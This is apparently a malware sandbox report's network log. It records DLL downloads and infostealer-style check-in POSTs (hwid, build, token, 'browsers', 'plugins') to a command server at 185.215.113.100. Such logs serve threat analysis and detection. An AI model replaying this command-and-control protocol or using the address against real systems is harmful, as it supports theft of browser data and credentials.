00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 08:14:11 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 08:14:12 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 08:14:13 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 08:14:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 08:14:16 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHDHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 36 32 31 38 41 35 41 38 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 2d 2d 0d 0a Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="hwid"A36218A5A8C62507286958------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="build"leva------CBGCGDBKEGHIEBGDBFHD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEHIJJKEGIDHIEHDAFHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 2d 2d 0d 0a Data Ascii: ------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="message"browsers------DAKEHIJJKEGIDHIEHDAF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJDGHCBGDHIECBGIDAEHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 2d 2d 0d 0a Data Ascii: ------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="message"plugins------HJJDGHCBGDHIECBGIDAE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBKHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="message"fplugins------GHJDGDBFCBKFHJKFHCBK--
